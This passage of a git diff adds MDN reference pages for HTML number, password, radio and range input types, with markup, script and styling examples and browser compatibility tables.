+const feetInputGroup = document.querySelector(".feetInputGroup");
+const metersInput = document.querySelector("#meters");
+const feetInput = document.querySelector("#feet");
+const inchesInput = document.querySelector("#inches");
+const switchBtn = document.querySelector('input[type="button"]');
+
+switchBtn.addEventListener("click", () => {
+  if (switchBtn.getAttribute("class") === "meters") {
+    switchBtn.setAttribute("class", "feet");
+    switchBtn.value = "Enter height in meters";
+
+    metersInputGroup.style.display = "none";
+    feetInputGroup.style.display = "block";
+
+    feetInput.setAttribute("required", "");
+    inchesInput.setAttribute("required", "");
+    metersInput.removeAttribute("required");
+
+    metersInput.value = "";
+  } else {
+    switchBtn.setAttribute("class", "meters");
+    switchBtn.value = "Enter height in feet and inches";
+
+    metersInputGroup.style.display = "block";
+    feetInputGroup.style.display = "none";
+
+    feetInput.removeAttribute("required");
+    inchesInput.removeAttribute("required");
+    metersInput.setAttribute("required", "");
+
+    feetInput.value = "";
+    inchesInput.value = "";
+  }
+});
+
+

After declaring a few variables, an event listener is added to the button to control the switching mechanism. This is pretty simple, mostly involving changing over the button's class and <label>, and updating the display values of the two sets of inputs when the button is pressed.

(Note that we're not converting back and forth between meters and feet/inches here, which a real-life web application would probably do.)

Note: When the user clicks the button, the required attribute(s) are removed from the input(s) we are hiding, and empty the value attribute(s). This is so the form can be submitted if both input sets aren't filled in. It also ensures that the form won't submit data that the user didn't mean to.

If you didn't do this, you'd have to fill in both feet/inches and meters to submit the form!

+
+

Accessibility

+
+

The implicit role for the <input type="number"> element is spinbutton. If spinbutton is not an important feature for your form control, consider not using type="number". Instead, use inputmode="numeric" along with a pattern attribute that limits the characters to numbers and associated characters. With <input type="number">, there is a risk of users accidentally incrementing a number when they're trying to do something else. Additionally, if users try to enter something that's not a number, there's no explicit feedback about what they're doing wrong.

Also consider using the autocomplete attribute to help users complete forms more quickly and with fewer chances of errors. For example, to enable autofill on a zip code field, set autocomplete="postal-code".

+
+

Technical summary

+
Value A Number representing a number, or empty
Events change and input
Supported common attributes autocomplete, list, placeholder, readonly
IDL attributes +list, value, valueAsNumber +
DOM interface

HTMLInputElement
Methods select(), stepUp(), stepDown()
Implicit ARIA Role spinbutton
+

Specifications

+
+ + +
Specification
HTML Standard
# number-state-(type=number)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
number7122910155.14.418291451.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/number +

+
diff --git a/devdocs/html/element%2Finput%2Fpassword.html b/devdocs/html/element%2Finput%2Fpassword.html new file mode 100644 index 00000000..f304486e --- /dev/null +++ b/devdocs/html/element%2Finput%2Fpassword.html @@ -0,0 +1,255 @@ +

<input type="password">

+

<input> elements of type password provide a way for the user to securely enter a password.

The element is presented as a one-line plain text editor control in which the text is obscured so that it cannot be read, usually by replacing each character with a symbol such as the asterisk ("*") or a dot ("•"). This character will vary depending on the user agent and operating system.

+
+

Try it

+
+

The precise behavior of the entry process may vary from browser to browser. Some browsers display the typed character for a moment before obscuring it, while others allow the user to toggle the display of plain-text on and off. Both approaches help a user check that they entered the intended password, which can be particularly difficult on mobile devices.

Note: Any forms involving sensitive information like passwords (such as login forms) should be served over HTTPS. Many browsers now implement mechanisms to warn against insecure login forms; see Insecure passwords.

+
+

Value

+
+

The value attribute contains a string whose value is the current contents of the text editing control being used to enter the password. If the user hasn't entered anything yet, this value is an empty string (""). If the required property is specified, then the password edit box must contain a value other than an empty string to be valid.

If the pattern attribute is specified, the content of a password control is only considered valid if the value passes validation; see Validation for more information.

Note: The line feed (U+000A) and carriage return (U+000D) characters are not permitted in a password value. When setting the value of a password control, line feed and carriage return characters are stripped out of the value.

+
+

Additional attributes

+

In addition to the attributes that operate on all <input> elements regardless of their type, password field inputs support the following attributes.

+

maxlength

+
+

The maximum string length (measured in UTF-16 code units) that the user can enter into the password field. This must be an integer value of 0 or higher. If no maxlength is specified, or an invalid value is specified, the password field has no maximum length. This value must also be greater than or equal to the value of minlength.

The input will fail constraint validation if the length of the text entered into the field is greater than maxlength UTF-16 code units long.

+
+

minlength

+
+

The minimum string length (measured in UTF-16 code units) that the user can enter into the password entry field. This must be a non-negative integer value smaller than or equal to the value specified by maxlength. If no minlength is specified, or an invalid value is specified, the password input has no minimum length.

The input will fail constraint validation if the length of the text entered into the field is fewer than minlength UTF-16 code units long.

+
+

pattern

+
+

The pattern attribute, when specified, is a regular expression that the input's value must match for the value to pass constraint validation. It must be a valid JavaScript regular expression, as used by the RegExp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.

If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely.

Note: Use the title attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby.

Use of a pattern is strongly recommended for password inputs, in order to help ensure that valid passwords using a wide assortment of character classes are selected and used by your users. With a pattern, you can mandate case rules, require the use of some number of digits and/or punctuation characters, and so forth. See the section Validation for details and an example.

+
+

placeholder

+
+

The placeholder attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text must not include carriage returns or line feeds.

If the control's content has one directionality (LTR or RTL) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see How to use Unicode controls for bidi text for more information.

Note: Avoid using the placeholder attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See <input> labels for more information.

+
+

readonly

+
+

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from JavaScript code that directly sets the value of the HTMLInputElement.value property.

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

+
+

size

+
+

The size attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font (font settings in use).

This does not set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the maxlength attribute.

+
+

Using password inputs

+

Password input boxes generally work just like other textual input boxes; the main difference is the obscuring of the content to prevent people near the user from reading the password.

+

A simple password input

+
+

Here we see the most basic password input, with a label established using the <label> element.

+

html

+
<label for="userPassword">Password: </label>
+<input id="userPassword" type="password" />
+
+
+
+ + +
+
+

Allowing autocomplete

+
+

To allow the user's password manager to automatically enter the password, specify the autocomplete attribute. For passwords, this should typically be one of the following:

on

Allow the browser or a password manager to automatically fill out the password field. This isn't as informative as using either current-password or new-password.

off

Don't allow the browser or password manager to automatically fill out the password field. Note that some software ignores this value, since it's typically harmful to users' ability to maintain safe password practices.

current-password

Allow the browser or password manager to enter the current password for the site. This provides more information than on does, since it lets the browser or password manager automatically enter currently-known password for the site in the field, but not to suggest a new one.

new-password

Allow the browser or password manager to automatically enter a new password for the site; this is used on "change your password" and "new user" forms, on the field asking the user for a new password. The new password may be generated in a variety of ways, depending on the password manager in use. It may fill in a new suggested password, or it might show the user an interface for creating one.

+

html

+
<label for="userPassword">Password:</label>
+<input id="userPassword" type="password" autocomplete="current-password" />
+
+
+
+ + +
+
+

Making the password mandatory

+
+

To tell the user's browser that the password field must have a valid value before the form can be submitted, specify the Boolean required attribute.

+

html

+
<label for="userPassword">Password: </label>
+<input id="userPassword" type="password" required />
+<input type="submit" value="Submit" />
+
+
+
+ + +
+
+

Specifying an input mode

+
+

If your recommended (or required) password syntax rules would benefit from an alternate text entry interface than the standard keyboard, you can use the inputmode attribute to request a specific one. The most obvious use case for this is if the password is required to be numeric (such as a PIN). Mobile devices with virtual keyboards, for example, may opt to switch to a numeric keypad layout instead of a full keyboard, to make entering the password easier. If the PIN is for one-time use, set the autocomplete attribute to either off or one-time-code to suggest that it's not saved.

+

html

+
<label for="pin">PIN: </label>
+<input id="pin" type="password" inputmode="numeric" />
+
+
+
+ + +
+
+

Setting length requirements

+
+

As usual, you can use the minlength and maxlength attributes to establish minimum and maximum acceptable lengths for the password. This example expands on the previous one by specifying that the user's PIN must be at least four and no more than eight digits. The size attribute is used to ensure that the password entry control is eight characters wide.

+

html

+
<label for="pin">PIN:</label>
+<input
+  id="pin"
+  type="password"
+  inputmode="numeric"
+  minlength="4"
+  maxlength="8"
+  size="8" />
+
+
+
+ + +
+
+

Selecting text

+
+

As with other textual entry controls, you can use the select() method to select all the text in the password field.

HTML

+

html

+
<label for="userPassword">Password: </label>
+<input id="userPassword" type="password" size="12" />
+<button id="selectAll">Select All</button>
+
+

JavaScript

+

js

+
document.getElementById("selectAll").onclick = () => {
+  document.getElementById("userPassword").select();
+};
+
+

Result

+
+ + +

You can also use selectionStart and selectionEnd to get (or set) what range of characters in the control are currently selected, and selectionDirection to know which direction selection occurred in (or will be extended in, depending on your platform; see its documentation for an explanation). However, given that the text is obscured, the usefulness of these is somewhat limited.

+
+

Validation

+
+

If your application has character set restrictions or any other requirement for the actual content of the entered password, you can use the pattern attribute to establish a regular expression to be used to automatically ensure that your passwords meet those requirements.

In this example, only values consisting of at least four and no more than eight hexadecimal digits are valid.

+

html

+
<label for="hexId">Hex ID: </label>
+<input
+  id="hexId"
+  type="password"
+  pattern="[0-9a-fA-F]{4,8}"
+  title="Enter an ID consisting of 4-8 hexadecimal digits"
+  autocomplete="new-password" />
+
+
+
+ + +
+
+

Examples

+ +

Requesting a Social Security number

+
+

This example only accepts input which matches the format for a valid United States Social Security Number. These numbers, used for tax and identification purposes in the US, are in the form "123-45-6789". Assorted rules for what values are permitted in each group exist as well.

HTML

+

html

+
<label for="ssn">SSN:</label>
+<input
+  type="password"
+  id="ssn"
+  inputmode="numeric"
+  minlength="9"
+  maxlength="12"
+  pattern="(?!000)([0-6]\d{2}|7([0-6]\d|7[012]))([ -])?(?!00)\d\d\3(?!0000)\d{4}"
+  required
+  autocomplete="off" />
+<br />
+<label for="ssn">Value:</label>
+<span id="current"></span>
+
+

This uses a pattern which limits the entered value to strings representing legal Social Security numbers. Obviously, this regexp doesn't guarantee a valid SSN (since we don't have access to the Social Security Administration's database), but it does ensure the number could be one; it generally avoids values that cannot be valid. In addition, it allows the three groups of digits to be separated by a space, a dash ("-"), or nothing.

The inputmode is set to numeric to encourage devices with virtual keyboards to switch to a numeric keypad layout for easier entry. The minlength and maxlength attributes are set to 9 and 12, respectively, to require that the value be at least nine and no more than 12 characters (the former without separating characters between the groups of digits and the latter with them). The required attribute is used to indicate that this control must have a value. Finally, autocomplete is set to off to avoid password managers and session restore features trying to set its value, since this isn't a password at all.

JavaScript

This is just some simple code to display the entered SSN onscreen so you can see it. Obviously this defeats the purpose of a password field, but it's helpful for experimenting with the pattern.

+

js

+
const ssn = document.getElementById("ssn");
+const current = document.getElementById("current");
+
+ssn.oninput = (event) => {
+  current.textContent = ssn.value;
+};
+
+

Result

+
+ + +
+
+

Technical summary

+
Value A string representing a password, or empty
Events change and input
Supported Common Attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size
IDL attributes selectionStart, selectionEnd, selectionDirection, and value
DOM interface

HTMLInputElement
Methods select(), setRangeText(), and setSelectionRange()
Implicit ARIA Role no corresponding role
+

Specifications

+
+ + +
Specification
HTML Standard
# password-state-(type=password)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
password11212214.41841411.0
insecure_login_handlingNoNo52NoNoNoNoNo52NoNoNo
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/password +

+
diff --git a/devdocs/html/element%2Finput%2Fradio.html b/devdocs/html/element%2Finput%2Fradio.html new file mode 100644 index 00000000..255886b5 --- /dev/null +++ b/devdocs/html/element%2Finput%2Fradio.html @@ -0,0 +1,282 @@ +

<input type="radio">

+

<input> elements of type radio are generally used in radio groups—collections of radio buttons describing a set of related options.

Only one radio button in a given group can be selected at the same time. Radio buttons are typically rendered as small circles, which are filled or highlighted when selected.

+
+

Try it

+
+

They are called radio buttons because they look and operate in a similar manner to the push buttons on old-fashioned radios, such as the one shown below.

Shows what radio buttons looked like in the olden days.

Note: Checkboxes are similar to radio buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. Where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected.

+
+

Value

+

The value attribute is a string containing the radio button's value. The value is never shown to the user by their user agent. Instead, it's used to identify which radio button in a group is selected.

+

Defining a radio group

+
+

A radio group is defined by giving each of radio buttons in the group the same name. Once a radio group is established, selecting any radio button in that group automatically deselects any currently-selected radio button in the same group.

You can have as many radio groups on a page as you like, as long as each has its own unique name.

For example, if your form needs to ask the user for their preferred contact method, you might create three radio buttons, each with the name property set to contact but one with the value email, one with the value phone, and one with the value mail. The user never sees the value or the name (unless you expressly add code to display it).

The resulting HTML looks like this:

+

html

+
<form>
+  <fieldset>
+    <legend>Please select your preferred contact method:</legend>
+    <div>
+      <input type="radio" id="contactChoice1" name="contact" value="email" />
+      <label for="contactChoice1">Email</label>
+
+      <input type="radio" id="contactChoice2" name="contact" value="phone" />
+      <label for="contactChoice2">Phone</label>
+
+      <input type="radio" id="contactChoice3" name="contact" value="mail" />
+      <label for="contactChoice3">Mail</label>
+    </div>
+    <div>
+      <button type="submit">Submit</button>
+    </div>
+  </fieldset>
+</form>
+
+

Here you see the three radio buttons, each with the name set to contact and each with a unique value that uniquely identifies that individual radio button within the group. They each also have a unique id, which is used by the <label> element's for attribute to associate the labels with the radio buttons.

You can try out this example here:

+
+ + +
+
+

Data representation of a radio group

+
+

When the above form is submitted with a radio button selected, the form's data includes an entry in the form contact=value. For example, if the user clicks on the "Phone" radio button then submits the form, the form's data will include the line contact=phone.

If you omit the value attribute in the HTML, the submitted form data assigns the value on to the group. In this scenario, if the user clicked on the "Phone" option and submitted the form, the resulting form data would be contact=on, which isn't helpful. So don't forget to set your value attributes!

Note: If no radio button is selected when the form is submitted, the radio group is not included in the submitted form data at all, since there is no value to report.

It's fairly uncommon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the checked state. See Selecting a radio button by default below.

Let's add a bit of code to our example so we can examine the data generated by this form. The HTML is revised to add a <pre> block to output the form data into:

+

html

+
<form>
+  <fieldset>
+    <legend>Please select your preferred contact method:</legend>
+    <div>
+      <input type="radio" id="contactChoice1" name="contact" value="email" />
+      <label for="contactChoice1">Email</label>
+      <input type="radio" id="contactChoice2" name="contact" value="phone" />
+      <label for="contactChoice2">Phone</label>
+      <input type="radio" id="contactChoice3" name="contact" value="mail" />
+      <label for="contactChoice3">Mail</label>
+    </div>
+    <div>
+      <button type="submit">Submit</button>
+    </div>
+  </fieldset>
+</form>
+<pre id="log"></pre>
+
+

Then we add some JavaScript to set up an event listener on the submit event, which is sent when the user clicks the "Submit" button:

+

js

+
const form = document.querySelector("form");
+const log = document.querySelector("#log");
+
+form.addEventListener(
+  "submit",
+  (event) => {
+    const data = new FormData(form);
+    let output = "";
+    for (const entry of data) {
+      output = `${output}${entry[0]}=${entry[1]}\r`;
+    }
+    log.innerText = output;
+    event.preventDefault();
+  },
+  false,
+);
+
+

Try this example out and see how there's never more than one result for the contact group.

+
+ + +
+
+

Additional attributes

+
+

In addition to the common attributes shared by all <input> elements, radio inputs support the following attributes.

checked

A Boolean attribute which, if present, indicates that this radio button is the default selected one in the group.

Unlike other browsers, Firefox by default persists the dynamic checked state of an <input> across page loads. Use the autocomplete attribute to control this feature.

value

The value attribute is one which all <input>s share; however, it serves a special purpose for inputs of type radio: when a form is submitted, only radio buttons which are currently checked are submitted to the server, and the reported value is the value of the value attribute. If the value is not otherwise specified, it is the string on by default. This is demonstrated in the section Value above.

required

The required attribute is one which most <input>s share. If any radio button in a same-named group of radio buttons has the required attribute, a radio button in that group must be checked, although it doesn't have to be the one with the attribute applied.

+
+

Using radio inputs

+

We already covered the fundamentals of radio buttons above. Let's now look at the other common radio-button-related features and techniques you may need to know about.

+

Selecting a radio button by default

+
+

To make a radio button selected by default, you include checked attribute, as shown in this revised version of the previous example:

+

html

+
<form>
+  <fieldset>
+    <legend>Please select your preferred contact method:</legend>
+    <div>
+      <input
+        type="radio"
+        id="contactChoice1"
+        name="contact"
+        value="email"
+        checked />
+      <label for="contactChoice1">Email</label>
+
+      <input type="radio" id="contactChoice2" name="contact" value="phone" />
+      <label for="contactChoice2">Phone</label>
+
+      <input type="radio" id="contactChoice3" name="contact" value="mail" />
+      <label for="contactChoice3">Mail</label>
+    </div>
+    <div>
+      <button type="submit">Submit</button>
+    </div>
+  </fieldset>
+</form>
+
+
+
+ + +

In this case, the first radio button is now selected by default.

Note: If you put the checked attribute on more than one radio button, later instances will override earlier ones; that is, the last checked radio button will be the one that is selected. This is because only one radio button in a group can ever be selected at once, and the user agent automatically deselects others each time a new one is marked as checked.

+
+

Providing a bigger hit area for your radio buttons

+
+

In the above examples, you may have noticed that you can select a radio button by clicking on its associated <label> element, as well as on the radio button itself. This is a really useful feature of HTML form labels that makes it easier for users to click the option they want, especially on small-screen devices like smartphones.

Beyond accessibility, this is another good reason to properly set up <label> elements on your forms.

+
+

Validation

+

Radio buttons don't participate in constraint validation; they have no real value to be constrained.

+

Styling radio inputs

+
+

The following example shows a slightly more thorough version of the example we've seen throughout the article, with some additional styling, and with better semantics established through use of specialized elements. The HTML looks like this:

+

html

+
<form>
+  <fieldset>
+    <legend>Please select your preferred contact method:</legend>
+    <div>
+      <input
+        type="radio"
+        id="contactChoice1"
+        name="contact"
+        value="email"
+        checked />
+      <label for="contactChoice1">Email</label>
+
+      <input type="radio" id="contactChoice2" name="contact" value="phone" />
+      <label for="contactChoice2">Phone</label>
+
+      <input type="radio" id="contactChoice3" name="contact" value="mail" />
+      <label for="contactChoice3">Mail</label>
+    </div>
+    <div>
+      <button type="submit">Submit</button>
+    </div>
+  </fieldset>
+</form>
+
+

The CSS involved in this example is a bit more significant:

+

css

+
html {
+  font-family: sans-serif;
+}
+
+div:first-of-type {
+  display: flex;
+  align-items: flex-start;
+  margin-bottom: 5px;
+}
+
+label {
+  margin-right: 15px;
+  line-height: 32px;
+}
+
+input {
+  appearance: none;
+
+  border-radius: 50%;
+  width: 16px;
+  height: 16px;
+
+  border: 2px solid #999;
+  transition: 0.2s all linear;
+  margin-right: 5px;
+
+  position: relative;
+  top: 4px;
+}
+
+input:checked {
+  border: 6px solid black;
+}
+
+button,
+legend {
+  color: white;
+  background-color: black;
+  padding: 5px 10px;
+  border-radius: 0;
+  border: 0;
+  font-size: 14px;
+}
+
+button:hover,
+button:focus {
+  color: #999;
+}
+
+button:active {
+  background-color: white;
+  color: black;
+  outline: 1px solid black;
+}
+
+

Most notable here is the use of the appearance property (with prefixes needed to support some browsers). By default, radio buttons (and checkboxes) are styled with the operating system's native styles for those controls. By specifying appearance: none, you can remove the native styling altogether, and create your own styles for them. Here we've used a border along with border-radius and a transition to create a nice animating radio selection. Notice also how the :checked pseudo-class is used to specify the styles for the radio button's appearance when selected.

Note: If you wish to use the appearance property, you should test it very carefully. Although it is supported in most modern browsers, its implementation varies widely. In older browsers, even the keyword none does not have the same effect across different browsers, and some do not support it at all. The differences are smaller in the newest browsers.

+
+ + +

Notice that when clicking on a radio button, there's a nice, smooth fade out/in effect as the two buttons change state. In addition, the style and coloring of the legend and submit button are customized to have strong contrast. This might not be a look you'd want in a real web application, but it definitely shows off the possibilities.

+
+

Technical summary

+
Value A string representing the value of the radio button.
Events +change and input +
Supported common attributes checked, value and required
IDL attributes +checked and value +
DOM interface

HTMLInputElement
Methods select()
Implicit ARIA Role radio
+

Specifications

+
+ + +
Specification
HTML Standard
# radio-button-state-(type=radio)
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
radio1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/radio +

+
diff --git a/devdocs/html/element%2Finput%2Frange.html b/devdocs/html/element%2Finput%2Frange.html new file mode 100644 index 00000000..26c17cab --- /dev/null +++ b/devdocs/html/element%2Finput%2Frange.html @@ -0,0 +1,340 @@ +

<input type="range">

+

<input> elements of type range let the user specify a numeric value which must be no less than a given value, and no more than another given value. The precise value, however, is not considered important. This is typically represented using a slider or dial control rather than a text entry box like the number input type.

Because this kind of widget is imprecise, it should only be used if the control's exact value isn't important.

+
+

Try it

+
+

If the user's browser doesn't support type range, it will fall back and treat it as a text input.

+
+

Validation

+
+

There is no pattern validation available; however, the following forms of automatic validation are performed:

+
+

Value

+
+

The value attribute contains a string which contains a string representation of the selected number. The value is never an empty string (""). The default value is halfway between the specified minimum and maximum—unless the maximum is actually less than the minimum, in which case the default is set to the value of the min attribute. The algorithm for determining the default value is:

+

js

+
defaultValue =
+  rangeElem.max < rangeElem.min
+    ? rangeElem.min
+    : rangeElem.min + (rangeElem.max - rangeElem.min) / 2;
+
+

If an attempt is made to set the value lower than the minimum, it is set to the minimum. Similarly, an attempt to set the value higher than the maximum results in it being set to the maximum.

+
+

Additional attributes

+

In addition to the attributes shared by all <input> elements, range inputs offer the following attributes.

+

list

+
+

The value of the list attribute is the id of a <datalist> element located in the same document. The <datalist> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the type are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.

See the adding tick marks below for an example of how the options on a range are denoted in supported browsers.

+
+

max

+
+

The greatest value in the range of permitted values. If the value entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a number, then the element has no maximum value.

This value must be greater than or equal to the value of the min attribute. See the HTML max attribute.

+
+

min

+
+

The lowest value in the range of permitted values. If the value of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid number, the input has no minimum value.

This value must be less than or equal to the value of the max attribute. See the HTML min attribute.

Note: If the min and max values are equal or the max value is lower than the min value the user will not be able to interact with the range.

+
+

step

+
+

The step attribute is a number that specifies the granularity that the value must adhere to. Only values that match the specified stepping interval (min if specified, value otherwise, or an appropriate default value if neither of those is provided) are valid.

The step attribute can also be set to the any string value. This step value means that no stepping interval is implied and any value is allowed in the specified range (barring other constraints, such as min and max). See the Setting step to the any value example for how this works in supported browsers.

Note: When the value entered by a user doesn't adhere to the stepping configuration, the user agent may round off the value to the nearest valid value, preferring to round numbers up when there are two equally close options.

The default stepping value for range inputs is 1, allowing only integers to be entered, unless the stepping base is not an integer; for example, if you set min to -10 and value to 1.5, then a step of 1 will allow only values such as 1.5, 2.5, 3.5,… in the positive direction and -0.5, -1.5, -2.5,… in the negative direction. See the HTML step attribute.

+
+

Non-standard Attributes

+ +

orient

+
+

Similar to the -moz-orient non-standard CSS property impacting the <progress> and <meter> elements, the orient attribute defines the orientation of the range slider. Values include horizontal, meaning the range is rendered horizontally, and vertical, where the range is rendered vertically.

Note: The following input attributes do not apply to the input range: accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget, height, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, and src. Any of these attributes, if included, will be ignored.

+
+

Examples

+
+

While the number type lets users enter a number with optional constraints forcing their value to be between a minimum and a maximum value, it does require that they enter a specific value. The range input type lets you ask the user for a value in cases where the user may not even care—or know—what the specific numeric value selected is.

A few examples of situations in which range inputs are commonly used:

As a rule, if the user is more likely to be interested in the percentage of the distance between minimum and maximum values than the actual number itself, a range input is a great candidate. For example, in the case of a home stereo volume control, users typically think "set volume at halfway to maximum" instead of "set volume to 0.5".

+
+

Specifying the minimum and maximum

+
+

By default, the minimum is 0 and the maximum is 100. If that's not what you want, you can easily specify different bounds by changing the values of the min and/or max attributes. These can be any floating-point value.

For example, to ask the user for a value between -10 and 10, you can use:

+

html

+
<input type="range" min="-10" max="10" />
+
+
+
+ + +
+
+

Setting the value's granularity

+
+

By default, the granularity is 1, meaning the value is always an integer. To control the granularity, you can change the step attribute. For example, If you need a value to be halfway between 5 and 10, you should set the value of step to 0.5:

Setting the step attribute

+

html

+
<input type="range" min="5" max="10" step="0.5" />
+
+
+
+ + +

Setting step to "any"

If you want to accept any value regardless of how many decimal places it extends to, you can specify a value of any for the step attribute:

HTML
+

html

+
<input id="pi_input" type="range" min="0" max="3.14" step="any" />
+<p>Value: <output id="value"></output></p>
+
+
JavaScript
+

js

+
const value = document.querySelector("#value");
+const input = document.querySelector("#pi_input");
+value.textContent = input.value;
+input.addEventListener("input", (event) => {
+  value.textContent = event.target.value;
+});
+
+
+
+ + +

This example lets the user select any value between 0 and π without any restriction on the fractional part of the value selected. JavaScript is used to show how the value changes as the user interacts with the range.

+
+

Adding tick marks

+
+

To add tick marks to a range control, include the list attribute, giving it the id of a <datalist> element which defines a series of tick marks on the control. Each point is represented using an <option> element with its value set to the range's value at which a mark should be drawn.

HTML

+

html

+
<label for="temp">Choose a comfortable temperature:</label><br />
+<input type="range" id="temp" name="temp" list="markers" />
+
+<datalist id="markers">
+  <option value="0"></option>
+  <option value="25"></option>
+  <option value="50"></option>
+  <option value="75"></option>
+  <option value="100"></option>
+</datalist>
+
+

Result

+
+ + +
+
+

Using the same datalist for multiple range controls

+
+

To help you from repeating code you can reuse that same <datalist> for multiple <input type="range"> elements, and other <input> types.

Note: If you also want to show the labels as in the example below then you would need a datalist for each range input.

HTML

+

html

+
<p>
+  <label for="temp1">Temperature for room 1:</label>
+  <input type="range" id="temp1" name="temp1" list="values" />
+</p>
+<p>
+  <label for="temp2">Temperature for room 2:</label>
+  <input type="range" id="temp2" name="temp2" list="values" />
+</p>
+
+<p>
+  <label for="temp3">Temperature for room 3:</label>
+  <input type="range" id="temp3" name="temp3" list="values" />
+</p>
+
+<datalist id="values">
+  <option value="0" label="0"></option>
+  <option value="25" label="25"></option>
+  <option value="50" label="50"></option>
+  <option value="75" label="75"></option>
+  <option value="100" label="100"></option>
+</datalist>
+
+

Result

+
+ + +
+
+

Adding labels

+
+

You can label tick marks by giving the <option> elements label attributes. However, the label content will not be displayed by default. You can use CSS to show the labels and to position them correctly. Here's one way you could do this.

HTML

+

html

+
<label for="tempB">Choose a comfortable temperature:</label><br />
+<input type="range" id="tempB" name="temp" list="values" />
+
+<datalist id="values">
+  <option value="0" label="very cold!"></option>
+  <option value="25" label="cool"></option>
+  <option value="50" label="medium"></option>
+  <option value="75" label="getting warm!"></option>
+  <option value="100" label="hot!"></option>
+</datalist>
+
+

CSS

+

css

+
datalist {
+  display: flex;
+  flex-direction: column;
+  justify-content: space-between;
+  writing-mode: vertical-lr;
+  width: 200px;
+}
+
+option {
+  padding: 0;
+}
+
+input[type="range"] {
+  width: 200px;
+  margin: 0;
+}
+
+

Result

+
+ + +
+
+

Creating vertical range controls

+
+

By default, browsers render range inputs as sliders with the knob sliding left and right.

To create a vertical range, wherein the knob slides up and down, set the CSS appearance property to slider-vertical and include the non-standard orient attribute for Firefox.

Horizontal range control

Consider this range control:

+

html

+
<input type="range" id="volume" min="0" max="11" value="7" step="1" />
+
+
+
+ + +

This control is horizontal (at least on most if not all major browsers; others might vary).

Using the appearance property

The appearance property has a non-standard value of slider-vertical that, well, makes sliders vertical.

We use the same HTML as in the previous examples:

+

html

+
<input type="range" min="0" max="11" value="7" step="1" />
+
+

We target just the inputs with a type of range:

+

css

+
input[type="range"] {
+  appearance: slider-vertical;
+}
+
+
+
+ + +

Using the orient attribute

In Firefox only, there is a non-standard orient property.

Use similar HTML as in the previous examples, we add the attribute with a value of vertical:

+

html

+
<input type="range" min="0" max="11" value="7" step="1" orient="vertical" />
+
+
+
+ + +

writing-mode: bt-lr

The writing-mode property should generally not be used to alter text direction for internationalization or localization purposes, but can be used for special effects.

We use the same HTML as in the previous examples:

+

html

+
<input type="range" min="0" max="11" value="7" step="1" />
+
+

We target just the inputs with a type of range, changing the writing mode from the default to bt-lr, or bottom-to-top and left-to-right:

+

css

+
input[type="range"] {
+  writing-mode: bt-lr;
+}
+
+
+
+ + +

Putting it all together

As each of the above examples works in different browsers, you can put all of them in a single example to make it work cross browser:

We keep the orient attribute with a value of vertical for Firefox:

+

html

+
<input type="range" min="0" max="11" value="7" step="1" orient="vertical" />
+
+

We target just the inputs with a type of range and orient set to vertical, changing the writing-mode from the default to bt-lr, or bottom-to-top and left-to-right, for pre-Blink versions of Edge, and add appearance: slider-vertical which is supported in Blink and Webkit browsers:

+

css

+
input[type="range"][orient="vertical"] {
+  writing-mode: bt-lr;
+  appearance: slider-vertical;
+}
+
+
+
+ + +
+
+

Technical summary

+
Value A string containing the string representation of the selected numeric value; use valueAsNumber to get the value as a number.
Events change and input
Supported common attributes autocomplete, list, max, min, and step
IDL attributes +list, value, and valueAsNumber +
DOM interface

HTMLInputElement
Methods stepDown() and stepUp()
Implicit ARIA Role slider
+

Specifications

+
+ + +
Specification
HTML Standard
# range-state-(type=range)
+

Browser compatibility

+
